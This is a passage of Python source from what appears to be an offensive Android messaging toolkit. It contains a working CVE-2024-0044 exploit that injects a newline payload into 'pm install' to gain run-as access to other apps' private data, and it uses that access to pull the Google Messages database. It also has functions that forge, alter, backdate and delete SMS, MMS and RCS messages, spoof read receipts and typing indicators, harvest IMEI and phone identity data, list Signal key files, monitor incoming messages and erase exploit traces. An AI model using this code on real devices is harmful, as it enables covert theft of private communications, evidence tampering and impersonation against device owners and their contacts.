result2 = self._run_adb(
f'backup -nocompress com.android.providers.telephony',
timeout=60,
)
# Check if backup file was created
if os.path.exists(backup_file) and os.path.getsize(backup_file) > 100:
return {
'ok': True, 'method': 'adb_backup',
'files': ['messaging.ab'], 'path': str(extract_dir),
'message': 'ADB backup created (may require user confirmation on device)',
'note': 'Use extract_ab_file() to parse the .ab backup',
}
return {'ok': False, 'error': 'ADB backup not supported or user denied on device'}
def query_bugle_db(self, sql: str) -> Dict[str, Any]:
"""Run SQL query against a locally extracted bugle_db."""
# Find the most recent extraction
extractions = sorted(self._extracted_dir.iterdir(), reverse=True)
db_path = None
for ext_dir in extractions:
candidate = ext_dir / 'bugle_db'
if candidate.exists():
db_path = candidate
break
if not db_path:
return {'ok': False, 'error': 'No extracted bugle_db found. Run extract_bugle_db() first.'}
try:
conn = sqlite3.connect(str(db_path))
conn.row_factory = sqlite3.Row
cursor = conn.execute(sql)
rows = [dict(r) for r in cursor.fetchall()]
conn.close()
return {'ok': True, 'rows': rows, 'count': len(rows), 'db_path': str(db_path)}
except Exception as e:
return {'ok': False, 'error': str(e)}
def extract_rcs_from_bugle(self) -> Dict[str, Any]:
"""Extract only RCS messages from bugle_db (message_protocol >= 2)."""
sql = """
SELECT m._id, m.conversation_id, m.sent_timestamp, m.received_timestamp,
m.message_protocol, m.message_status, m.read,
p.text AS body, p.content_type, p.uri AS attachment_uri,
c.name AS conversation_name, c.snippet_text,
ppl.normalized_destination AS phone_number,
ppl.full_name AS contact_name,
CASE WHEN ppl.sub_id = -2 THEN 'incoming' ELSE 'outgoing' END AS direction
FROM messages m
LEFT JOIN parts p ON m._id = p.message_id
LEFT JOIN conversations c ON m.conversation_id = c._id
LEFT JOIN conversation_participants cp ON cp.conversation_id = c._id
LEFT JOIN participants ppl ON cp.participant_id = ppl._id
WHERE m.message_protocol >= 2
ORDER BY m.sent_timestamp DESC
"""
return self.query_bugle_db(sql)
def extract_conversations_from_bugle(self) -> Dict[str, Any]:
"""Full conversation export from bugle_db with all participants."""
sql = """
SELECT c._id, c.name, c.snippet_text, c.sort_timestamp,
c.last_read_timestamp, c.participant_count, c.archive_status,
GROUP_CONCAT(ppl.normalized_destination, '; ') AS participants,
GROUP_CONCAT(ppl.full_name, '; ') AS participant_names
FROM conversations c
LEFT JOIN conversation_participants cp ON c._id = cp.conversation_id
LEFT JOIN participants ppl ON cp.participant_id = ppl._id
GROUP BY c._id
ORDER BY c.sort_timestamp DESC
"""
return self.query_bugle_db(sql)
def extract_message_edits(self) -> Dict[str, Any]:
"""Get RCS message edit history from bugle_db."""
sql = """
SELECT me.message_id, me.latest_message_id,
me.original_rcs_messages_id,
me.edited_at_timestamp_ms, me.received_at_timestamp_ms,
p.text AS current_text
FROM message_edits me
LEFT JOIN messages m ON me.latest_message_id = m._id
LEFT JOIN parts p ON m._id = p.message_id
ORDER BY me.edited_at_timestamp_ms DESC
"""
return self.query_bugle_db(sql)
def extract_all_from_bugle(self) -> Dict[str, Any]:
"""Complete extraction of all messages, conversations, and participants from bugle_db."""
result = {}
# Messages
sql_msgs = """
SELECT m._id, m.conversation_id, m.sent_timestamp, m.received_timestamp,
m.message_protocol, m.message_status, m.read, m.seen,
p.text AS body, p.content_type, p.uri AS attachment_uri,
CASE m.message_protocol
WHEN 0 THEN 'SMS' WHEN 1 THEN 'MMS' ELSE 'RCS'
END AS protocol_name
FROM messages m
LEFT JOIN parts p ON m._id = p.message_id
ORDER BY m.sent_timestamp DESC
"""
msgs = self.query_bugle_db(sql_msgs)
result['messages'] = msgs.get('rows', []) if msgs.get('ok') else []
# Conversations
convos = self.extract_conversations_from_bugle()
result['conversations'] = convos.get('rows', []) if convos.get('ok') else []
# Participants
sql_parts = "SELECT * FROM participants ORDER BY _id"
parts = self.query_bugle_db(sql_parts)
result['participants'] = parts.get('rows', []) if parts.get('ok') else []
# Edits
edits = self.extract_message_edits()
result['edits'] = edits.get('rows', []) if edits.get('ok') else []
result['ok'] = True
result['total_messages'] = len(result['messages'])
result['total_conversations'] = len(result['conversations'])
result['total_participants'] = len(result['participants'])
# Save to file
export_path = self._exports_dir / f'bugle_full_export_{datetime.now().strftime("%Y%m%d_%H%M%S")}.json'
with open(export_path, 'w') as f:
json.dump(result, f, indent=2, default=str)
result['export_path'] = str(export_path)
return result
# ══════════════════════════════════════════════════════════════════════
# §6 CVE-2024-0044 EXPLOIT
# ══════════════════════════════════════════════════════════════════════
def check_cve_2024_0044(self) -> Dict[str, Any]:
"""Check if device is vulnerable to CVE-2024-0044 (run-as privilege escalation)."""
patch_info = self.get_security_patch_level()
result = {
'cve': 'CVE-2024-0044',
'description': RCS_CVES['CVE-2024-0044']['desc'],
'android_version': patch_info.get('android_version', 'unknown'),
'security_patch': patch_info.get('security_patch', 'unknown'),
'vulnerable': patch_info.get('cve_2024_0044_vulnerable', False),
}
if result['vulnerable']:
result['message'] = ('Device appears vulnerable. Android 12/13 with security patch '
f'before 2024-10-01 (current: {result["security_patch"]})')
else:
result['message'] = 'Device does not appear vulnerable to CVE-2024-0044'
return result
def exploit_cve_2024_0044(self, target_package: str = 'com.google.android.apps.messaging') -> Dict[str, Any]:
"""Execute CVE-2024-0044 run-as privilege escalation.
This exploits a newline injection in PackageInstallerService to forge
a package entry, allowing run-as access to any app's private data.
Only works on Android 12-13 with security patch before October 2024.
"""
# Verify vulnerability
cve = self.check_cve_2024_0044()
if not cve.get('vulnerable'):
return {'ok': False, 'error': 'Device not vulnerable to CVE-2024-0044', 'details': cve}
# Step 1: Get target app UID
uid_output = self._shell(f'pm list packages -U | grep {target_package}')
if self._is_error(uid_output) or target_package not in uid_output:
return {'ok': False, 'error': f'Package {target_package} not found'}
uid_match = re.search(r'uid:(\d+)', uid_output)
if not uid_match:
return {'ok': False, 'error': 'Could not determine target UID'}
target_uid = uid_match.group(1)
# Step 2: Create a minimal APK to push (we need any valid APK)
# Use an existing small APK from the device
apk_path = self._shell(f'pm path {target_package}')
if self._is_error(apk_path):
return {'ok': False, 'error': 'Cannot find target APK path'}
apk_path = apk_path.replace('package:', '').strip()
# Copy to writable location
self._shell('cp /system/app/BasicDreams/BasicDreams.apk /data/local/tmp/exploit_carrier.apk 2>/dev/null')
# Fallback: use any small system apk
if 'error' in self._shell('ls /data/local/tmp/exploit_carrier.apk').lower():
# Try another approach — use settings apk
self._shell('cp /system/priv-app/Settings/Settings.apk /data/local/tmp/exploit_carrier.apk 2>/dev/null')
# Step 3: Craft the injection payload
victim_name = f'autarch_victim_{int(time.time())}'
payload = (
f'@null\n'
f'{victim_name} {target_uid} 1 /data/user/0 '
f'default:targetSdkVersion=28 none 0 0 1 @null'
)
# Step 4: Install with injected payload
install_result = self._shell(
f'pm install -i "{payload}" /data/local/tmp/exploit_carrier.apk',
timeout=15,
)
# Step 5: Verify access
verify = self._shell(f'run-as {victim_name} id')
if f'uid={target_uid}' in verify or 'u0_a' in verify:
self._cve_exploit_active = True
self._exploit_victim_name = victim_name
return {
'ok': True,
'message': f'CVE-2024-0044 exploit successful. run-as {victim_name} has UID {target_uid}',
'victim_name': victim_name,
'target_uid': target_uid,
'target_package': target_package,
'verify': verify,
}
return {
'ok': False,
'error': 'Exploit attempt did not achieve expected UID',
'install_result': install_result,
'verify': verify,
}
def _extract_via_cve(self, extract_dir: Path) -> Dict[str, Any]:
"""Extract bugle_db using CVE-2024-0044 exploit."""
if not self._cve_exploit_active:
exploit = self.exploit_cve_2024_0044()
if not exploit.get('ok'):
return exploit
victim = self._exploit_victim_name
staging = '/data/local/tmp/autarch_cve_extract'
self._shell(f'mkdir -p {staging}')
self._shell(f'chmod 777 {staging}')
# Use run-as to access and copy databases
for suffix in ['', '-wal', '-shm', '-journal']:
fname = f'bugle_db{suffix}'
for db_base in BUGLE_DB_PATHS:
src = f'{db_base}{suffix}'
self._shell(
f'run-as {victim} sh -c "cat {src}" > {staging}/{fname} 2>/dev/null'
)
# Pull extracted files
files_pulled = []
for suffix in ['', '-wal', '-shm', '-journal']:
fname = f'bugle_db{suffix}'
local_path = str(extract_dir / fname)
pull = self._run_adb(f'pull {staging}/{fname} {local_path}')
if os.path.exists(local_path) and os.path.getsize(local_path) > 0:
files_pulled.append(fname)
# Cleanup
self._shell(f'rm -rf {staging}')
if files_pulled:
return {
'ok': True, 'method': 'cve-2024-0044',
'files': files_pulled, 'path': str(extract_dir),
'message': f'Extracted {len(files_pulled)} files via CVE-2024-0044',
}
return {'ok': False, 'error': 'CVE extract produced no files'}
def cleanup_cve_exploit(self) -> Dict[str, Any]:
"""Remove traces of CVE-2024-0044 exploit."""
results = []
if self._exploit_victim_name:
# Uninstall the forged package
out = self._shell(f'pm uninstall {self._exploit_victim_name}')
results.append(f'Uninstall {self._exploit_victim_name}: {out}')
# Remove staging files
self._shell('rm -f /data/local/tmp/exploit_carrier.apk')
self._shell('rm -rf /data/local/tmp/autarch_cve_extract')
self._cve_exploit_active = False
self._exploit_victim_name = None
return {'ok': True, 'cleanup': results}
# ══════════════════════════════════════════════════════════════════════
# §7 MESSAGE FORGING
# ══════════════════════════════════════════════════════════════════════
def forge_sms(self, address: str, body: str, msg_type: int = MSG_TYPE_INBOX,
timestamp: Optional[int] = None, contact_name: Optional[str] = None,
read: int = 1) -> Dict[str, Any]:
if not address or not body:
return {'ok': False, 'error': 'Address and body are required'}
ts = timestamp or self._ts_ms()
bindings = {
'address': address,
'body': body,
'type': msg_type,
'date': ts,
'date_sent': ts,
'read': read,
'seen': 1,
}
result = self._content_insert(SMS_URI, bindings)
if self._is_error(result):
return {'ok': False, 'error': result}
entry = {
'address': address, 'body': body, 'type': msg_type,
'timestamp': ts, 'contact_name': contact_name,
'action': 'forge_sms', 'time': datetime.now().isoformat(),
}
self._forged_log.append(entry)
return {'ok': True, 'message': 'SMS forged successfully', 'details': entry}
def forge_mms(self, address: str, subject: str = '', body: str = '',
msg_box: int = MMS_BOX_INBOX, timestamp: Optional[int] = None) -> Dict[str, Any]:
if not address:
return {'ok': False, 'error': 'Address required'}
ts = timestamp or int(time.time())
bindings = {
'msg_box': msg_box,
'date': ts,
'read': 1,
'seen': 1,
}
if subject:
bindings['sub'] = subject
result = self._content_insert(MMS_URI, bindings)
if self._is_error(result):
return {'ok': False, 'error': result}
entry = {
'address': address, 'subject': subject, 'body': body,
'action': 'forge_mms', 'time': datetime.now().isoformat(),
}
self._forged_log.append(entry)
return {'ok': True, 'message': 'MMS forged', 'details': entry}
def forge_rcs(self, address: str, body: str, msg_type: int = MSG_TYPE_INBOX,
timestamp: Optional[int] = None) -> Dict[str, Any]:
"""Forge an RCS message.
Attempts content://rcs/ provider first, falls back to Archon relay
for direct bugle_db insertion.
"""
if not address or not body:
return {'ok': False, 'error': 'Address and body required'}
ts = timestamp or self._ts_ms()
# Try AOSP RCS provider
bindings = {
'rcs_text': body,
'origination_timestamp': ts,
}
result = self._content_insert(f'{RCS_P2P_THREAD_URI}/0/incoming_message', bindings)
if not self._is_error(result) and 'SecurityException' not in result:
entry = {
'address': address, 'body': body, 'type': msg_type,
'timestamp': ts, 'method': 'rcs_provider',
'action': 'forge_rcs', 'time': datetime.now().isoformat(),
}
self._forged_log.append(entry)
return {'ok': True, 'message': 'RCS message forged via provider', 'details': entry}
# Fallback: Archon relay
broadcast = (
f'shell am broadcast -a com.darkhal.archon.FORGE_RCS '
f'--es address "{address}" '
f'--es body "{body}" '
f'--ei type {msg_type} '
f'--el timestamp {ts} '
f'com.darkhal.archon'
)
result = self._run_adb(broadcast)
method = 'archon' if 'Broadcast completed' in result else 'failed'
entry = {
'address': address, 'body': body, 'type': msg_type,
'timestamp': ts, 'method': method,
'action': 'forge_rcs', 'time': datetime.now().isoformat(),
}
self._forged_log.append(entry)
if method == 'archon':
return {'ok': True, 'message': 'RCS message forged via Archon', 'details': entry}
return {'ok': False, 'error': 'RCS forging requires Archon app or elevated access'}
def forge_conversation(self, address: str, messages: List[Dict],
contact_name: Optional[str] = None) -> Dict[str, Any]:
if not address or not messages:
return {'ok': False, 'error': 'Address and messages required'}
results = []
for msg in messages:
body = msg.get('body', '')
msg_type = int(msg.get('type', MSG_TYPE_INBOX))
ts = msg.get('timestamp')
if ts:
ts = int(ts)
r = self.forge_sms(address, body, msg_type, ts, contact_name)
results.append(r)
ok_count = sum(1 for r in results if r.get('ok'))
return {
'ok': ok_count > 0,
'message': f'Forged {ok_count}/{len(messages)} messages',
'results': results,
}
def bulk_forge(self, messages_list: List[Dict]) -> Dict[str, Any]:
results = []
for msg in messages_list:
r = self.forge_sms(
address=msg.get('address', ''),
body=msg.get('body', ''),
msg_type=int(msg.get('type', MSG_TYPE_INBOX)),
timestamp=int(msg['timestamp']) if msg.get('timestamp') else None,
contact_name=msg.get('contact_name'),
read=int(msg.get('read', 1)),
)
results.append(r)
ok_count = sum(1 for r in results if r.get('ok'))
return {'ok': ok_count > 0, 'forged': ok_count, 'total': len(messages_list)}
def import_sms_backup_xml(self, xml_content: str) -> Dict[str, Any]:
"""Import SMS from SMS Backup & Restore XML format."""
try:
root = ET.fromstring(xml_content)
except ET.ParseError as e:
return {'ok': False, 'error': f'Invalid XML: {e}'}
count = 0
errors = []
for sms_elem in root.findall('.//sms'):
address = sms_elem.get('address', '')
body = sms_elem.get('body', '')
msg_type = int(sms_elem.get('type', '1'))
date = sms_elem.get('date')
read = int(sms_elem.get('read', '1'))
if not address:
continue
ts = int(date) if date else None
result = self.forge_sms(address, body, msg_type, ts, read=read)
if result.get('ok'):
count += 1
else:
errors.append(result.get('error', 'unknown'))
return {
'ok': count > 0,
'imported': count,
'errors': len(errors),
'error_details': errors[:10],
}
# ══════════════════════════════════════════════════════════════════════
# §8 MESSAGE MODIFICATION
# ══════════════════════════════════════════════════════════════════════
def modify_message(self, msg_id: int, new_body: Optional[str] = None,
new_timestamp: Optional[int] = None, new_type: Optional[int] = None,
new_read: Optional[int] = None) -> Dict[str, Any]:
bindings = {}
if new_body is not None:
bindings['body'] = new_body
if new_timestamp is not None:
bindings['date'] = new_timestamp
if new_type is not None:
bindings['type'] = new_type
if new_read is not None:
bindings['read'] = new_read
if not bindings:
return {'ok': False, 'error': 'No modifications specified'}
result = self._content_update(f'{SMS_URI}{msg_id}', bindings)
if self._is_error(result):
return {'ok': False, 'error': result}
return {'ok': True, 'message': f'Message {msg_id} modified', 'changes': bindings}
def delete_message(self, msg_id: int) -> Dict[str, Any]:
result = self._content_delete(f'{SMS_URI}{msg_id}')
if self._is_error(result):
return {'ok': False, 'error': result}
return {'ok': True, 'message': f'Message {msg_id} deleted'}
def delete_conversation(self, thread_id: int) -> Dict[str, Any]:
result = self._content_delete(SMS_URI, where=f'thread_id={thread_id}')
if self._is_error(result):
return {'ok': False, 'error': result}
return {'ok': True, 'message': f'Thread {thread_id} deleted'}
def change_sender(self, msg_id: int, new_address: str) -> Dict[str, Any]:
result = self._content_update(f'{SMS_URI}{msg_id}', {'address': new_address})
if self._is_error(result):
return {'ok': False, 'error': result}
return {'ok': True, 'message': f'Message {msg_id} sender changed to {new_address}'}
def shift_timestamps(self, address: str, offset_minutes: int) -> Dict[str, Any]:
safe_addr = address.replace("'", "''")
msgs = self._content_query(SMS_URI, projection='_id:date',
where=f"address='{safe_addr}'")
modified = 0
offset_ms = offset_minutes * 60 * 1000
for msg in msgs:
msg_id = msg.get('_id')
old_date = msg.get('date')
if msg_id and old_date:
new_date = int(old_date) + offset_ms
r = self._content_update(f'{SMS_URI}{msg_id}', {'date': new_date})
if not self._is_error(r):
modified += 1
return {'ok': modified > 0, 'modified': modified, 'total': len(msgs)}
def mark_all_read(self, thread_id: Optional[int] = None) -> Dict[str, Any]:
where = f'thread_id={thread_id} AND read=0' if thread_id else 'read=0'
result = self._content_update(SMS_URI, {'read': 1}, where=where)
if self._is_error(result):
return {'ok': False, 'error': result}
return {'ok': True, 'message': 'Messages marked as read'}
def wipe_thread(self, thread_id: int) -> Dict[str, Any]:
# Delete from both SMS and MMS
r1 = self._content_delete(SMS_URI, where=f'thread_id={thread_id}')
r2 = self._content_delete(MMS_URI, where=f'thread_id={thread_id}')
return {'ok': True, 'sms_result': r1, 'mms_result': r2,
'message': f'Thread {thread_id} wiped'}
# ══════════════════════════════════════════════════════════════════════
# §9 RCS EXPLOITATION
# ══════════════════════════════════════════════════════════════════════
def read_rcs_features(self, address: str) -> Dict[str, Any]:
"""Check RCS capabilities for a phone number."""
# Try dumpsys for RCS capability info
output = self._shell(f'dumpsys telephony_ims')
features = {'address': address, 'rcs_capable': False, 'features': []}
if output and not self._is_error(output):
if address in output:
features['rcs_capable'] = True
# Parse UCE capabilities
for line in output.splitlines():
if 'capability' in line.lower() or 'uce' in line.lower():
features['features'].append(line.strip())
# Also try Archon query
broadcast = (
f'shell am broadcast -a com.darkhal.archon.CHECK_RCS_CAPABLE '
f'--es address "{address}" com.darkhal.archon'
)
self._run_adb(broadcast)
return {'ok': True, **features}
def spoof_rcs_read_receipt(self, msg_id: str) -> Dict[str, Any]:
"""Spoof a read receipt for an RCS message."""
# Via content provider update
result = self._content_update(
f'content://rcs/p2p_thread/0/incoming_message/{msg_id}',
{'seen_timestamp': self._ts_ms()},
)
if not self._is_error(result) and 'SecurityException' not in result:
return {'ok': True, 'message': f'Read receipt spoofed for message {msg_id}'}
# Fallback: Archon
broadcast = (
f'shell am broadcast -a com.darkhal.archon.SPOOF_READ_RECEIPT '
f'--es msg_id "{msg_id}" com.darkhal.archon'
)
r = self._run_adb(broadcast)
return {
'ok': 'Broadcast completed' in r,
'message': 'Read receipt spoof attempted via Archon',
}
def spoof_rcs_typing(self, address: str) -> Dict[str, Any]:
"""Send a fake typing indicator via Archon."""
broadcast = (
f'shell am broadcast -a com.darkhal.archon.SPOOF_TYPING '
f'--es address "{address}" com.darkhal.archon'
)
r = self._run_adb(broadcast)
return {
'ok': 'Broadcast completed' in r,
'message': f'Typing indicator spoofed to {address}',
}
def enumerate_rcs_providers(self) -> Dict[str, Any]:
"""Discover all accessible messaging content providers on the device."""
return self.enumerate_providers()
def clone_rcs_identity(self) -> Dict[str, Any]:
"""Extract RCS registration/identity data for cloning."""
identity = {}
# Get IMSI/ICCID
identity['imei'] = self._shell('service call iphonesubinfo 1 | grep -o "[0-9a-f]\\{8\\}" | tail -n+2 | head -4')
identity['phone_number'] = self._shell('service call iphonesubinfo 15 | grep -o "[0-9a-f]\\{8\\}" | tail -n+2 | head -4')
# Get RCS provisioning state
for pkg in MESSAGING_PACKAGES:
sp_dir = f'/data/data/{pkg}/shared_prefs/'
files = self._shell(f'run-as {self._exploit_victim_name} ls {sp_dir} 2>/dev/null') \
if self._cve_exploit_active else ''
if files and not self._is_error(files):
identity[f'{pkg}_shared_prefs'] = files.splitlines()
# Get SIM info
identity['sim_operator'] = self._shell('getprop gsm.sim.operator.alpha')
identity['sim_country'] = self._shell('getprop gsm.sim.operator.iso-country')
identity['network_type'] = self._shell('getprop gsm.network.type')
return {'ok': True, 'identity': identity}
def extract_rcs_media(self, msg_id: str) -> Dict[str, Any]:
"""Extract media files from RCS messages."""
# Check MMS parts for media
parts = self._content_query(
f'content://mms/{msg_id}/part',
projection='_id:mid:ct:_data:name',
)
media_files = []
for part in parts:
ct = part.get('ct', '')
if ct and ct != 'text/plain' and ct != 'application/smil':
data_path = part.get('_data', '')
if data_path:
# Pull the file
local_name = f"media_{msg_id}_{part.get('_id', 'unknown')}"
ext = ct.split('/')[-1] if '/' in ct else 'bin'
local_path = str(self._exports_dir / f'{local_name}.{ext}')
pull = self._run_adb(f'pull {data_path} {local_path}')
if os.path.exists(local_path):
media_files.append({
'content_type': ct,
'local_path': local_path,
'device_path': data_path,
'name': part.get('name', ''),
})
return {'ok': True, 'media': media_files, 'count': len(media_files)}
def intercept_archival_broadcast(self) -> Dict[str, Any]:
"""Set up interception of GOOGLE_MESSAGES_ARCHIVAL_UPDATE broadcasts.
This is the enterprise archival broadcast that Google Messages sends
when messages are sent, received, edited, or deleted on managed devices.
"""
# Register a broadcast receiver via Archon
broadcast = (
'shell am broadcast -a com.darkhal.archon.REGISTER_ARCHIVAL_LISTENER '
'com.darkhal.archon'
)
r = self._run_adb(broadcast)
info = {
'broadcast_action': ARCHIVAL_BROADCAST_ACTION,
'uri_extra_key': ARCHIVAL_URI_EXTRA,
'note': 'Requires fully managed device with Google Messages as default SMS app',
'requirement': 'MCM config: messages_archival = com.darkhal.archon',
}
return {
'ok': 'Broadcast completed' in r,
'message': 'Archival listener registration attempted',
'info': info,
}
def extract_signal_protocol_state(self) -> Dict[str, Any]:
"""Extract E2EE Signal Protocol session state (requires elevated access)."""
if not self._cve_exploit_active:
return {
'ok': False,
'error': 'Requires CVE-2024-0044 exploit or root access',
'note': 'Signal Protocol keys are in '
'/data/data/com.google.android.apps.messaging/files/ '
'but master key is in Android Keystore (hardware-backed, not extractable via ADB)',
}
victim = self._exploit_victim_name
# List files in the messaging app's files directory
files = self._shell(
f'run-as {victim} ls -la /data/data/com.google.android.apps.messaging/files/'
)
# List shared_prefs
prefs = self._shell(
f'run-as {victim} ls -la /data/data/com.google.android.apps.messaging/shared_prefs/'
)
return {
'ok': True,
'files_dir': files.splitlines() if files and not self._is_error(files) else [],
'shared_prefs': prefs.splitlines() if prefs and not self._is_error(prefs) else [],
'note': 'Session keys found but master encryption key is hardware-backed in Android Keystore',
}
def get_rcs_cve_database(self) -> Dict[str, Any]:
"""Return known CVEs affecting RCS/Android messaging."""
return {'ok': True, 'cves': RCS_CVES, 'count': len(RCS_CVES)}
# ══════════════════════════════════════════════════════════════════════
# §10 DATABASE BACKUP & CLONE
# ══════════════════════════════════════════════════════════════════════
def full_backup(self, fmt: str = 'json') -> Dict[str, Any]:
"""Complete SMS/MMS/RCS backup."""
timestamp = datetime.now().strftime('%Y%m%d_%H%M%S')
# Get SMS
sms = self.read_sms_database(limit=10000)
# Get MMS
mms = self.read_mms_database(limit=5000)
# Get conversations
convos = self.read_conversations(limit=1000)
# Try RCS provider
rcs = self.read_rcs_provider()
backup = {
'timestamp': timestamp,
'device': self.get_device_info(),
'sms': sms,
'mms': mms,
'conversations': convos,
'rcs': rcs if rcs.get('ok') else {},
'stats': {
'sms_count': len(sms),
'mms_count': len(mms),
'conversation_count': len(convos),
},
}
if fmt == 'xml':
backup_path = self._backups_dir / f'backup_{timestamp}.xml'
self._write_sms_backup_xml(sms, str(backup_path))
else:
backup_path = self._backups_dir / f'backup_{timestamp}.json'
with open(backup_path, 'w') as f:
json.dump(backup, f, indent=2, default=str)
return {
'ok': True,
'path': str(backup_path),
'stats': backup['stats'],
'message': f'Backup saved to {backup_path}',
}
def _write_sms_backup_xml(self, messages: List[Dict], path: str):
"""Write SMS Backup & Restore compatible XML."""
root = ET.Element('smses', count=str(len(messages)))
for msg in messages:
attrs = {
'protocol': str(msg.get('protocol', '0') or '0'),
'address': str(msg.get('address', '') or ''),
'date': str(msg.get('date', '') or ''),
'type': str(msg.get('type', '1') or '1'),
'body': str(msg.get('body', '') or ''),
'read': str(msg.get('read', '1') or '1'),
'status': str(msg.get('status', '-1') or '-1'),
'locked': str(msg.get('locked', '0') or '0'),
'date_sent': str(msg.get('date_sent', '0') or '0'),
'readable_date': str(msg.get('date_formatted', '') or ''),
'contact_name': str(msg.get('contact_name', '(Unknown)') or '(Unknown)'),
}
ET.SubElement(root, 'sms', **attrs)
tree = ET.ElementTree(root)
ET.indent(tree, space=' ')
tree.write(path, encoding='unicode', xml_declaration=True)
def full_restore(self, backup_path: str) -> Dict[str, Any]:
"""Restore messages from a backup file."""
path = Path(backup_path)
if not path.exists():
# Check in backups dir
path = self._backups_dir / backup_path
if not path.exists():
return {'ok': False, 'error': f'Backup file not found: {backup_path}'}
if path.suffix == '.xml':
with open(path, 'r') as f:
return self.import_sms_backup_xml(f.read())
elif path.suffix == '.json':
with open(path, 'r') as f:
backup = json.load(f)
sms = backup.get('sms', [])
if not sms:
return {'ok': False, 'error': 'No SMS messages in backup'}
return self.bulk_forge(sms)
return {'ok': False, 'error': f'Unsupported format: {path.suffix}'}
def clone_to_device(self) -> Dict[str, Any]:
"""Clone all messages from current device backup to another device.
Steps: 1) Run full_backup on source, 2) Connect target device,
3) Run full_restore with the backup file.
"""
backup = self.full_backup()
if not backup.get('ok'):
return backup
return {
'ok': True,
'message': 'Backup created. Connect target device and call full_restore()',
'backup_path': backup['path'],
'stats': backup['stats'],
}
def export_messages(self, address: Optional[str] = None, fmt: str = 'json') -> Dict[str, Any]:
"""Export messages to JSON, CSV, or XML."""
if address:
msgs = self.get_messages_by_address(address)
else:
msgs = self.read_sms_database(limit=10000)
timestamp = datetime.now().strftime('%Y%m%d_%H%M%S')
suffix = f'_{address}' if address else '_all'
if fmt == 'csv':
export_path = self._exports_dir / f'export{suffix}_{timestamp}.csv'
with open(export_path, 'w', newline='') as f:
if msgs:
writer = csv.DictWriter(f, fieldnames=msgs[0].keys())
writer.writeheader()
writer.writerows(msgs)
elif fmt == 'xml':
export_path = self._exports_dir / f'export{suffix}_{timestamp}.xml'
self._write_sms_backup_xml(msgs, str(export_path))
else:
export_path = self._exports_dir / f'export{suffix}_{timestamp}.json'
with open(export_path, 'w') as f:
json.dump(msgs, f, indent=2, default=str)
return {
'ok': True,
'path': str(export_path),
'count': len(msgs),
'format': fmt,
}
def list_backups(self) -> Dict[str, Any]:
"""List all backup files."""
backups = []
for f in sorted(self._backups_dir.iterdir(), reverse=True):
if f.is_file():
backups.append({
'name': f.name,
'path': str(f),
'size': f.stat().st_size,
'modified': datetime.fromtimestamp(f.stat().st_mtime).isoformat(),
})
return {'ok': True, 'backups': backups, 'count': len(backups)}
def list_exports(self) -> Dict[str, Any]:
"""List all exported files."""
exports = []
for f in sorted(self._exports_dir.iterdir(), reverse=True):
if f.is_file():
exports.append({
'name': f.name,
'path': str(f),
'size': f.stat().st_size,
'modified': datetime.fromtimestamp(f.stat().st_mtime).isoformat(),
})
return {'ok': True, 'exports': exports, 'count': len(exports)}
def list_extracted_dbs(self) -> Dict[str, Any]:
"""List extracted database snapshots."""
extractions = []
for d in sorted(self._extracted_dir.iterdir(), reverse=True):
if d.is_dir():
files = [f.name for f in d.iterdir()]
total_size = sum(f.stat().st_size for f in d.iterdir() if f.is_file())
extractions.append({
'name': d.name,
'path': str(d),
'files': files,
'total_size': total_size,
})
return {'ok': True, 'extractions': extractions, 'count': len(extractions)}
# ══════════════════════════════════════════════════════════════════════
# §11 SMS/RCS MONITOR
# ══════════════════════════════════════════════════════════════════════
def start_sms_monitor(self) -> Dict[str, Any]:
if self._monitor_running:
return {'ok': False, 'error': 'Monitor already running'}
self._monitor_running = True
self._monitor_thread = threading.Thread(
target=self._monitor_loop, daemon=True, name='rcs-monitor',
)
self._monitor_thread.start()
return {'ok': True, 'message': 'SMS/RCS monitor started'}
def stop_sms_monitor(self) -> Dict[str, Any]:
self._monitor_running = False
return {'ok': True, 'message': 'Monitor stopping',
'intercepted': len(self._intercepted)}
def get_intercepted_messages(self) -> Dict[str, Any]:
with self._intercepted_lock:
msgs = list(self._intercepted)
return {'ok': True, 'messages': msgs, 'count': len(msgs)}
def clear_intercepted(self) -> Dict[str, Any]:
with self._intercepted_lock:
count = len(self._intercepted)
self._intercepted.clear()
return {'ok': True, 'cleared': count}
def _monitor_loop(self):
"""Background thread: watch logcat for incoming SMS/RCS."""
adb = self._get_adb()
try:
proc = subprocess.Popen(
f'{adb} shell logcat -s Bugle:V SmsReceiverService:V '
f'SmsMessage:V RilReceiver:V',
shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, text=True,
)
while self._monitor_running:
line = proc.stdout.readline()
if not line:
break
line = line.strip()
if not line:
continue
# Parse relevant log lines
entry = None
if 'SMS received' in line or 'received SMS' in line.lower():
entry = {'type': 'sms_received', 'raw': line, 'time': datetime.now().isoformat()}
elif 'RCS' in line and ('received' in line.lower() or 'incoming' in line.lower()):
entry = {'type': 'rcs_received', 'raw': line, 'time': datetime.now().isoformat()}
elif 'SmsMessage' in line:
entry = {'type': 'sms_activity', 'raw': line, 'time': datetime.now().isoformat()}
if entry:
with self._intercepted_lock:
self._intercepted.append(entry)
if len(self._intercepted) > 1000:
self._intercepted = self._intercepted[-500:]
proc.terminate()
except Exception:
pass
finally:
self._monitor_running = False
def get_forged_log(self) -> List[Dict[str, Any]]:
return list(self._forged_log)
def clear_forged_log(self) -> Dict[str, Any]:
count = len(self._forged_log)
self._forged_log.clear()
return {'ok': True, 'cleared': count}
# ══════════════════════════════════════════════════════════════════════
# §12 ARCHON APP INTEGRATION
# ══════════════════════════════════════════════════════════════════════
def archon_query(self, action: str, extras: Optional[Dict[str, str]] = None) -> Dict[str, Any]:
"""Send a command to Archon's MessagingModule via ADB broadcast."""
cmd = f'shell am broadcast -a com.darkhal.archon.{action}'
if extras:
for key, val in extras.items():
if isinstance(val, int):
cmd += f' --ei {key} {val}'
elif isinstance(val, bool):
cmd += f' --ez {key} {str(val).lower()}'
else:
safe = str(val).replace('"', '\\"')
cmd += f' --es {key} "{safe}"'
cmd += ' com.darkhal.archon'
result = self._run_adb(cmd)
return {
'ok': 'Broadcast completed' in result,
'result': result,
}
def archon_extract_bugle(self) -> Dict[str, Any]:
"""Ask Archon to extract bugle_db via Shizuku elevated access."""
return self.archon_query('EXTRACT_DB', {
'target_package': 'com.google.android.apps.messaging',
'database': 'bugle_db',
'output_dir': '/sdcard/Download/autarch_extract',
})
def archon_forge_rcs(self, address: str, body: str, direction: str = 'incoming') -> Dict[str, Any]:
"""Ask Archon to insert RCS message directly into bugle_db."""
return self.archon_query('FORGE_RCS', {
'address': address,
'body': body,
'direction': direction,
'timestamp': str(self._ts_ms()),
})
def archon_modify_rcs(self, msg_id: int, new_body: str) -> Dict[str, Any]:
